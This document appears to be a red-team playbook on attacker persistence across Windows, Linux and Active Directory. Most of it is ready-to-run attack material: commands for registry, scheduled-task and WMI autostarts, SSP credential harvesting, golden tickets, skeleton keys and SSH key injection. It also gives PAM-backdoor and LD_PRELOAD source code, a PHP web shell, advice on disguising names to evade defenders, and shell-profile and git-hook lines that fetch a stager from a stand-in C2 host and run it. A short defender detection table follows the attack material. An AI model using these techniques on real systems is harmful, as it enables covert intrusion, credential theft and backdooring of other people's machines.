offensive-persistence

Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine

maintenance. You plant mechanisms that re-establish a session or re-execute

your payload without requiring a new initial compromise. The choice of

persistence technique depends on your privilege level, the target operating

system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple

registry keys to domain-level Active Directory backdoors. Every technique

here assumes you already have code execution on the target. Apply these in

authorized engagements only.

Quick Workflow

1. Assess your current privilege level (user-level vs admin/root vs domain admin).
2. Identify the target OS version and security controls in place.
3. Select a persistence mechanism matching your access level and stealth needs.
4. Validate the persistence survives a reboot or logoff event.
5. Document the exact mechanism and location for cleanup during engagement close.
6. Layer multiple persistence methods at different privilege levels when scope allows.
7. Prefer reversible methods that you can fully remove during remediation.

---

Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup.

These are the simplest persistence mechanisms and work at both user and admin

privilege levels.

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience:

# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

Additional autostart locations you should know:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

OPSEC note: Registry Run keys are the first place defenders check. Use

innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures

all registry modifications to these keys.

---

Windows: Scheduled Tasks

Scheduled tasks provide flexible persistence with precise timing control.

They survive reboots and can run as SYSTEM or any specified user.

# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon

Using PowerShell for more control:

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

OPSEC note: Nest task names under existing Microsoft directories (e.g.,

Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.

---

Windows: WMI Event Subscriptions

WMI event subscriptions are a powerful fileless persistence mechanism. They

consist of three components: an event filter (trigger), an event consumer

(action), and a binding that links them.

# Create a WMI event subscription that fires on system startup
# Event Filter -- fires 60 seconds after boot
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
    Name = "CoreTelemetryFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}

# Event Consumer -- execute payload
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
    Name = "CoreTelemetryConsumer"
    CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1"
}

# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Cleanup -- remove all three components during engagement close:

Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject

OPSEC note: WMI subscriptions are stored in the CIM repository

(C:\Windows\System32\wbem\Repository\). Sysmon event 19/20/21 captures

WMI filter, consumer, and binding creation. This is one of the stealthier

native persistence methods but increasingly monitored.

---

Windows: DLL Hijacking and COM Hijacking

DLL Search Order Hijacking

When an application loads a DLL without specifying a full path, Windows

searches directories in a defined order. You place a malicious DLL in a

directory searched before the legitimate one.

Find hijackable DLLs with Process Monitor: filter on Result = NAME NOT FOUND

and Path ends with .dll. Applications loading DLLs without full paths search

the application directory before System32, so you place your DLL alongside the

binary.

// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a new thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
    }
    return TRUE;
}

COM Hijacking

COM objects are resolved via registry. You insert your DLL into the lookup

chain by writing to HKCU, which takes precedence over HKLM entries.

# Find COM objects scheduled to load (hijack candidates)
# Look for InprocServer32 keys under HKLM that do not exist under HKCU

# Hijack a COM object used by explorer.exe
# CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator
New-Item -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

OPSEC note: COM hijacking under HKCU requires no admin rights. The payload

loads whenever the COM object is instantiated. Sysmon event 7 (ImageLoad)

detects suspicious DLL loads.

---

Windows: Service and SSP Persistence

Service Creation

# Create a persistent service
sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem
sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor"
sc start "WinDefHealthSvc"

# Modify an existing service (riskier, breaks legitimate service)
sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"

Security Support Provider (SSP) DLL

An SSP DLL is loaded by LSASS at boot and receives plaintext credentials

for every interactive logon. This is a powerful credential harvesting

persistence mechanism.

# Copy SSP DLL to System32
copy mimilib.dll C:\Windows\System32\

# Register the SSP (persists across reboots)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

# In-memory SSP injection (does not survive reboot without registry key)
# Using mimikatz:
misc::memssp
# Credentials logged to C:\Windows\System32\mimilsa.log

OPSEC note: SSP persistence requires admin privileges and modifies LSASS.

Credential Guard blocks this entirely. Event 4622 (security package loaded)

fires when a new SSP is registered.

---

Windows: Active Directory Persistence

These techniques provide domain-level persistence that survives individual

host remediation. They require domain admin or equivalent privileges.

Golden Ticket

# Extract the KRBTGT hash
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:Password1@dc01.corp.local

# Forge a Golden Ticket (valid for any service in the domain)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator
export KRB5CCNAME=administrator.ccache

# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt

Silver Ticket

# Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)
impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator

# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt

Skeleton Key

# Inject skeleton key into DC LSASS (all accounts accept "mimikatz" as password)
# Requires admin on DC, does NOT survive reboot
misc::skeleton

# Authenticate with skeleton key
net use \\dc01\c$ /user:corp\anyuser mimikatz

AdminSDHolder Abuse

# Grant a user full control over AdminSDHolder
# SDProp propagates this ACL to all protected groups every 60 minutes
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All -Verbose

# The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.

DCShadow and SID History Injection

# DCShadow: register rogue DC and push replication changes (requires DA)
# Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500
# Terminal 2: lsadump::dcshadow /push

# SID History: add DA SID to a regular user (requires DC access)
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512

OPSEC note: Golden tickets have a default 10-year validity. Defenders detect

them by looking for TGTs with lifetimes exceeding the domain policy maximum.

DCShadow is extremely stealthy but requires domain admin. Skeleton key is

lost on reboot and modifies LSASS on the DC itself.

---

Linux: Cron, At, and Systemd Persistence

Cron Jobs

# User-level cron (no root required)
crontab -e
# Add: */15 * * * * /home/user/.config/update.sh

# System-level cron (requires root)
echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab

# Drop a cron file in cron.d
echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper

# Cron directories for specific timing
cp payload.sh /etc/cron.hourly/health-check
chmod +x /etc/cron.hourly/health-check

At Jobs

# Schedule a one-time execution (self-rescheduling for recurrence)
echo "/opt/.cache/beacon.sh" | at now + 1 hour
# In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes

Systemd Timers and Services

# Create a systemd service
cat << 'EOF' > /etc/systemd/system/system-health.service
[Unit]
Description=System Health Monitor

[Service]
Type=simple
ExecStart=/opt/.cache/beacon.sh
Restart=on-failure
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Create a timer for periodic execution
cat << 'EOF' > /etc/systemd/system/system-health.timer
[Unit]
Description=System Health Check Timer

[Timer]
OnBootSec=120
OnUnitActiveSec=900
Unit=system-health.service

[Install]
WantedBy=timers.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable system-health.timer
systemctl start system-health.timer

For user-level systemd (no root), place unit files in ~/.config/systemd/user/

and use systemctl --user enable/start.

---

Linux: Shell, SSH, and Authentication Persistence

SSH Authorized Keys

# Inject your public key (user-level, no root required)
echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Hide in a custom location via sshd_config (requires root)
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config
mkdir -p /etc/ssh/legacy_keys/root/
echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys
systemctl restart sshd

Shell Profile Backdoors

# Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)
echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
# /etc/profile affects all users (requires root)
echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile

PAM Backdoor

// Malicious PAM module that accepts a backdoor password
// Compile: gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
#include <security/pam_modules.h>
#include <string.h>

#define BACKDOOR_PASS "s3cure_backd00r"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *password = NULL;
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    if (password && strcmp(password, BACKDOOR_PASS) == 0) {
        return PAM_SUCCESS;
    }
    return PAM_AUTH_ERR;  // Fall through to next module
}

# Install the PAM backdoor
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
# Add to PAM configuration (before pam_unix.so)
sed -i '1a auth sufficient pam_backdoor.so' /etc/pam.d/common-auth

OPSEC note: PAM backdoors are powerful but modifying /etc/pam.d/ can lock

out all users if misconfigured. Test thoroughly. File integrity monitoring

(AIDE, OSSEC) detects PAM module changes.

---

Linux: LD_PRELOAD, Kernel Modules, and Web Shells

LD_PRELOAD Hijacking

// Shared library that hooks libc functions and executes a payload
// Compile: gcc -shared -fPIC -o libsec.so preload.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

__attribute__((constructor))
void init(void) {
    // Run once per process load
    if (access("/tmp/.beacon_lock", F_OK) != 0) {
        system("touch /tmp/.beacon_lock && /opt/.cache/beacon.sh &");
    }
}

# System-wide LD_PRELOAD (affects all dynamically linked binaries)
echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
# Or per-user via .bashrc
echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc

Kernel Module Rootkit

A loadable kernel module (LKM) rootkit hooks VFS readdir to hide files,

processes, and network connections. It removes itself from the module list

(list_del_init(&__this_module.list)) to evade lsmod detection.

# Load the kernel module
insmod rootkit.ko

# Persist across reboots
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/misc/
depmod -a
echo "rootkit" >> /etc/modules

Web Shells

<?php
// Minimal PHP web shell -- blend into an existing web application
// Place in a file resembling legitimate app code
if(isset($_REQUEST['debug_token']) && $_REQUEST['debug_token'] === 'auth_key_here') {
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>

# Hide web shell in an existing web application directory
cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php

# JSP web shell for Java applications
# Place in the webapps directory of Tomcat/JBoss

Git Hooks

# Backdoor a Git hook in a repository developers use
cat << 'EOF' > /path/to/repo/.git/hooks/post-merge
#!/bin/bash
nohup /opt/.cache/beacon.sh &>/dev/null &
EOF
chmod +x /path/to/repo/.git/hooks/post-merge

# pre-commit hook executes on every commit
cat << 'EOF' > /path/to/repo/.git/hooks/pre-commit
#!/bin/bash
(curl -s https://c2.example.com/stager | bash &) 2>/dev/null
exit 0
EOF
chmod +x /path/to/repo/.git/hooks/pre-commit

---

Detection / Defender View

| Technique | Primary Detection | Key Indicators |

|-----------|------------------|----------------|

| Registry Run keys | Sysmon 13 (RegistryValueSet) | New values in Run/RunOnce paths |

| Scheduled tasks | Event 4698 (task created) | Tasks in non-standard paths, SYSTEM context |

| WMI subscriptions | Sysmon 19/20/21 | New permanent event consumers |

| DLL hijacking | Sysmon 7 (ImageLoad) | DLLs loaded from unusual directories |

| COM hijacking | Registry monitoring | HKCU InprocServer32 overrides |

| Service creation | Event 7045, 4697 | New services with suspicious binpaths |

| SSP DLL | Event 4622 | New security packages in LSA config |

| Golden/Silver tickets | Event 4768/4769 | TGTs with abnormal lifetime or encryption |

| DCShadow | Replication metadata changes | Rogue DC registration (SPNs) |

| Cron/systemd | File integrity monitoring | New cron entries, new unit files |

| SSH keys | authorized_keys monitoring | New keys, modified AuthorizedKeysFile |

| PAM modules | File integrity monitoring | Modified pam.d configs, new .so files |

| LD_PRELOAD | Check /etc/ld.so.preload | Unexpected entries in preload or env |

| Kernel modules | lsmod, kmod monitoring | Unknown modules, modified /etc/modules |

| Web shells | WAF, file integrity, YARA | Small PHP/JSP files with exec functions |

Key defender controls:

• AppLocker/WDAC restricts which executables and DLLs can run.
• Credential Guard blocks SSP DLL injection and LSASS credential harvesting.
• Protected Users group prevents NTLM and caching for sensitive accounts.
• AIDE/OSSEC detects file integrity changes on Linux systems.
• auditd rules capture file creation in cron directories and module loading.
• Autoruns (Sysinternals) enumerates all autostart locations on Windows.

---

Engagement Cheatsheet

SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
User-level Windows, quick          Registry Run key             reg add HKCU\...\Run
User-level Windows, reliable       Scheduled task (user)        schtasks /create /sc onlogon
Admin Windows, stealthy            WMI event subscription       Set-WmiInstance __EventFilter
Admin Windows, service             Service creation             sc create ... start= auto
Admin Windows, cred harvest        SSP DLL                      mimilib.dll + LSA registry
Domain admin, long-term            Golden Ticket                impacket-ticketer / kerberos::golden
Domain admin, targeted service     Silver Ticket                impacket-ticketer -spn
Domain admin, ACL abuse            AdminSDHolder                Add-DomainObjectAcl
User-level Linux, quick            Cron job                     crontab -e
User-level Linux, SSH              authorized_keys              echo key >> authorized_keys
Root Linux, reliable               Systemd service + timer      systemctl enable
Root Linux, stealthy               LD_PRELOAD                   /etc/ld.so.preload
Root Linux, deep                   Kernel module                insmod + /etc/modules
Web server access                  Web shell                    PHP/JSP in webroot
Developer environment              Git hooks                    .git/hooks/post-merge

MITRE ATT&CK references:

• T1547 -- Boot or Logon Autostart Execution (.001 Registry Run Keys, .004 Winlogon, .005 SSP)
• T1053 -- Scheduled Task/Job (.002 At, .003 Cron, .005 Scheduled Task)
• T1546 -- Event Triggered Execution (.003 WMI, .015 COM Hijack)
• T1556 -- Modify Authentication Process (.003 Pluggable Auth Modules)
• T1543 -- Create or Modify System Process (.003 Windows Service)
• T1574 -- Hijack Execution Flow (.001 DLL Search Order, .012 COM Hijacking)
• T1558 -- Steal or Forge Kerberos Tickets (.001 Golden Ticket, .002 Silver Ticket)
• T1098 -- Account Manipulation (.003 Additional Cloud Roles)
• T1505 -- Server Software Component (.003 Web Shell)

---

Key References

• SharPersist: https://github.com/mandiant/SharPersist
• Mimikatz wiki: https://github.com/gentilkiwi/mimikatz/wiki
• Impacket: https://github.com/fortra/impacket
• PayloadsAllTheThings -- Persistence: https://github.com/swisskyrepo/PayloadsAllTheThings
• The Hacker Recipes -- AD Persistence: https://www.thehacker.recipes/ad/persistence
• MITRE ATT&CK Persistence: https://attack.mitre.org/tactics/TA0003/
• Linux Persistence Techniques (Pepe Berba): https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-systemd-timers-cron/
• Autoruns (Sysinternals): https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns